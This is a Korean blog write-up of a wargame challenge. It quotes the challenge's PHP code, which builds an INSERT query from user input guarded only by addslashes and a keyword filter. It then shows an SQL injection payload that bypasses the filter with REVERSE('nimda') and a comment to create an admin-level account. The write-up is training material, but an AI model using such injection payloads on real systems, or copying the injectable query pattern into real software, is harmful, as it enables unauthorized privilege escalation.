Season 1/워게임

Old - 59 Write Up

작성자 - LRTK

가입과 로그인 기능이 있는 form이 나왔다.

View-source가 나왔으니, 코드 상에 힌트가 있을거라 생각하여 코드를 확인하였다.

<?php
  include "../../config.php";
  if($_GET['view_source']) view_source();
  $db = dbconnect();
  if($_POST['lid'] && isset($_POST['lphone'])){
    $_POST['lid'] = addslashes($_POST['lid']);
    $_POST['lphone'] = addslashes($_POST['lphone']);
    $result = mysqli_fetch_array(mysqli_query($db,"select id,lv from chall59 where id='{$_POST['lid']}' and phone='{$_POST['lphone']}'"));
    if($result['id']){
      echo "id : {$result['id']}<br>lv : {$result['lv']}<br><br>";
      if($result['lv'] == "admin"){
      mysqli_query($db,"delete from chall59");
      solve(59);
    }
    echo "<br><a href=./?view_source=1>view-source</a>";
    exit();
    }
  }
  if($_POST['id'] && isset($_POST['phone'])){
    $_POST['id'] = addslashes($_POST['id']);
    $_POST['phone'] = addslashes($_POST['phone']);
    if(strlen($_POST['phone'])>=20) exit("Access Denied");
    if(preg_match("/admin/i",$_POST['id'])) exit("Access Denied");
    if(preg_match("/admin|0x|#|hex|char|ascii|ord|select/i",$_POST['phone'])) exit("Access Denied");
    mysqli_query($db,"insert into chall59 values('{$_POST['id']}',{$_POST['phone']},'guest')");
  }
?>
<html>
    <head>
        <title>Challenge 59</title>
    </head>
    <body>
        <form method=post>
            <table border=1>
            <tr>
                <td></td>
                <td>ID</td>
                <td>PHONE</td>
                <td></td>
            </tr>
            <tr>
                <td>JOIN</td>
                <td><input name=id></td>
                <td><input name=phone></td>
                <td><input type=submit></td>
            </tr>
            <tr>
                <td>LOGIN</td>
                <td><input name=lid></td>
                <td><input name=lphone></td>
                <td><input type=submit></td>
            </tr>
        </form>
        <br>
        <a href=./?view_source=1>view-source</a>
    </body>
</html>

코드를 살펴보니, 로그인을 한 계정의 Lv가 admin이면 flag가 출력되는 문제로 파악이 된다.

이를 위해선 SQL Injection 공격을 시도하여 권한을 얻어야하는 문제로 판단이 된다.

공격 백터는 로그인과 회원가입으로 둘 중 하나를 공략하기 위해 각 Query문을 살펴보았다.

Login Query

select id,lv from chall59 where id='LOGIN ID INPUT' and phone='LOGIN PHONE INPUT'

이 query문에서 SQL Injection을 통해 lv의 admin을 획득하기 위해서는 admin 권한을 가진 id를 가지고 있어야 공격이 성공하기 때문에 Login Query문에서는 공격을 시도하는 건 아니라고 판단하였다.

Join Query

insert into chall59 values('JOIN ID INPUT',JOIN PHONE INPUT,'guest')

나는 여기서 SQL Injection을 insert into chall59 values('test',123, 'admin')--,'guest')으로 시도를 하면, admin 권한을 가진 계정을 생성할 수 있다는 판단을 하였다.

 

하지만 Join Query에 들어가는 id와 phone의 값에서 admin과 같은 단어를 필터링하는 부분을 우회 해야한다는 문제가 있었다.

 

필터링 단어

  • id: admin
  • phone: admin, 0x, #, hex, char, ascii, ord, select
    i 옵션으로 대소문자 구분 X

위 필터링을 우회하여 Lv 부분에 admin을 삽입해야한다.

 

나는 이를 찾기 위해 도커 안에 있는 Mysql에 구현을 하여 SQL Injection을 시도를 하였다.

 

CREATE TABLE chall59(
    id varchar(20),
    phone int(19),
    lv varchar(10)
);

insert into chall59 values('admin_user', 111, 'admin');

select * from chall59;

해당 코드는 내가 Mysql에 구현한 chall59 테이블이다.

 

SQL Query 함수 참고 블로그: exp_blog

MySQL기본 쿼리 & 내장함수 & JOIN

 

Mysql의 함수들을 이용하여 필터링을 우회하는 방법들을 시도하여 몇가지 방법을 찾을 수 있었다.

 

그 중 가장 간단한 문자열을 반전시키는 reverse 함수를 사용한 SQL Injection을 이용하였다.

insert into chall59 values(‘test’, 222, REVERSE(‘nimda’))-- , ‘guest’);

혹시나 내가 실수를 하여 필터링을 잘못 이해할 가능성을 생각하여, PHP 코드로 필터링 검사를 하였다.

 

<?php
$stdin = fopen('php://stdin', 'r');
$input = trim(fread($stdin, 1024));
fclose($stdin);

$match = preg_match("/admin|0x|#|hex|char|ascii|ord|select/i", $input);
if ($match == 1){
    echo "Nop!!";
}

echo "insert into chall59 values('test', {$input}, 'guest')";
?>
123, reverse('nimda'))--         -> 입력값
insert into chall59 values('test', 123, reverse('nimda'))-- , 'guest')        -> 출력값

이때 중요한 것은 -- 뒤에 공백을 줘야 주석처리가 이루어진다.

 

이제 서버에 값을 전송하였다.

 

그 결과 Access Denied가 출력되는 모습을 볼 수 있다.

 

한참을 생각하다가 조건문 하나를 놓친 것을 확인할 수 있었다.
if(strlen($_POST['phone'])>=20) exit("Access Denied");

phone의 입력값이 20 미만이라는 조건을 이제서야 확인하여, SQL Injection를 수정하였다.

 

방법은 id의 값을 nimda로 넣어주고, reverse 함수에 id을 넣어서 admin을 출력하겠끔 하는 방식이다.

 

회원가입이 성공을 하여, 로그인을 시도하였다.

 

Flag를 획득하였다.

'Season 1 > 워게임' 카테고리의 다른 글

Old - 10 Write Up  (0) 2021.05.19
Old - 61 Write Up  (0) 2021.05.17
Old - 42 Write Up  (0) 2021.05.17
Old - 36 Write Up  (0) 2021.05.17
Old - 33 Write Up  (0) 2021.05.17
Contents

이 글이 도움이 되었다면, 응원의 댓글 부탁드립니다.